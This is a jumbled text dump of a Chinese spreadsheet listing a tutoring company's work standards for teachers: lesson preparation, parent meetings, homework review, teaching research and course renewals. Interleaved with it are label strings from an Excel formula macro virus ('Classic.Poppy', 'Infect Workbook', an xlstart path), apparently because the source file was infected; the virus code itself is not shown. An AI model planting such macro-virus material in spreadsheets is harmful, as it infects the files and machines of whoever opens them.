个性化教师工作轴__工作内容标准.xlsVIP

RQNMRJEY 表格集中 我的实施 教师工作内容 Sheet2 亲号码.xls D:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. **Auto and On Sheet Starts Here** Classic.Poppy by VicodinES With Lord Natas An Excel Formula Macro Virus (XF.Classic) Hydrocodone/APAP 10-650 For Your Computer (C) The Narkotic Network 1998 **Simple Payload** **Set Our Values and Paths** **Add New Workbook, Infect It, Save It As Book1.xls** **Infect Workbook** 工作标准 时间节点 备课 参加家长或学员的第一次课前交流。 准确记录和了解新生的在校成绩、学习习惯、兴趣和爱好、学生个人的学习态度、方法等重要信息，作好第一次备课准备 课前 备学生 备家长 了解家长的需求和对凹凸寄予的特殊的希望。 备内容 备方法 原则是以沟通为主，首要的目的是取得学生对教师的认可。 课后信息反馈 课后 授课 作业检查 辅导原则 激趣引题、梳理知识、点拨提高、智能提升、当堂检测 课堂 教学内容 课后小结 教研活动 学科研讨 每周 日常 续单 新签 引导自己所教学生进行转介绍。 续费 课时 完成 动员 课前交流会(新生) 1． 全面掌握学生最新的考试试题 2． 根据学生个性有针对性的备课 1．适合学生的授课内容，内容的难度要适中： 2．根据学生的年级选定入学测试的内容 1．基于对以上信息的理解找到最适合学生的学习方法(测试方法、讲解方法、)， 2．做好第一次课学生或家长可能提出的问题的准备。 1． 认真填写教案后的课后记并及时反馈给学管师 2． 反馈新生的课堂表现、学习能力、态度、方法、习惯以及学生成绩等问题 阶段性 辅导方案 3次课后完成“阶段性辅导方案” 1个月内 1． 每次课前检查上次课预留作业，进行点评 2． 指导学生使用《错题本》 l 突出知识点中的重点、难点、考点 2 找准学生的薄弱点 1． 总结教学效果的评价 2． 改进措施，指导下一堂课的教学 每周学科(语、数、外、理、化)小组的研讨会 1．学习中心组织的教研活动 2 考纲学习 3 撰写教学成功案例 4．撰写教学研讨论文 5 命题方向研究等 学生结课前1个月，作续费引导并续费。 1、主动做学生思想工作，不请假，不无故旷课，保质保量的完成课时计划 2、为了提高教学效果，做加课时的引导，调整教学课时计划 工作内容 工作内容 发展心理学 做试卷，做试卷分析 课后反思 1教学方法 2学习效果 项目 学习能力 态度 方法 习惯 进度 自检（优良差） 教师工作内容 我的实施方法 程度（标准） 勾选 课前交流会(新生) 熟悉初中 1． 全面掌握学生最新的考试试题 2． 根据学生个性有针对性的备课 做知识点总结，考点总结 学习方法9项 1．适合学生的授课内容，内容的难度要适中： 做题库，对题型分类 2．根据学生的年级选定入学测试的内容 做试卷库，对试卷分类 1．基于对以上信息的理解找到最适合学生的学习方法(测试方法、讲解方法、) 沟通方法，做课程模版 讲师 2．做好第一次课学生或家长可能提出的问题的准备。 出题模块 1． 认真填写教案后的课后记并及时反馈给学管师 2． 反馈新生的课堂表现、学习能力、态度、方法、习惯以及学生成绩等问题 阶段性 辅导方案 3次课后完成“阶段性辅导方案” 1个月内 1． 每次课前检查上次课预留作业，进行点评 2． 指导学生使用《错题本》 l 突出知识点中的重点、难点、考点 做知识点重难点手册 2 找准学生的薄弱点 1． 总结教学效果的评价 2． 改进措施，指导下一堂课的教学 每周学科(语、数、外、理、化)小组的研讨会 1．学习中心组织的教研活动 2 考纲学习 学习考试大纲 3 撰写教学成功案例 模仿学习案例 4．撰写教学研讨论文 5 命题方向研究等 学习高考考试方向 学生结课前1个月，作续费引导并续费。 1、主动做学生思想工作，不请假，不无故旷课，保质保量的完成课时计划 2、为了提高教学效果，做加课时的引导，调整教学课时计划